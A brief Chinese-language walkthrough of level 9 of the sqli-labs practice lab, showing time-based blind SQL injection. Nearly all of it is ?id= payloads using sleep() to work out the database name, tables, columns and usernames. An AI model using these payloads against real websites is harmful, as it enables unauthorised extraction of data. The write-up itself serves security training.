sqli-lab-Less-9

第九关不管输入什么,页面都是一样的,所以不能使用布尔盲注,布尔盲注适合页面对正确和错误的结果有不同的反应,
这里使用时间盲注

判断参数构造

?id=1' and if(1=1,sleep(5),1)--+
为单引号闭合

猜库名长度

?id=1'and if(length((select database()))=8,sleep(5),1)--+
库名长度为8

猜库名

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
库名为security

猜表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=100,sleep(5),1)--+
猜出email,users

猜字段

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=100,sleep(5),1)--+

爆数据

?id=1' and if(ascii(substr((select username from users),1,1))=100,sleep(5),1)--+

第十关同理,只是变成”闭合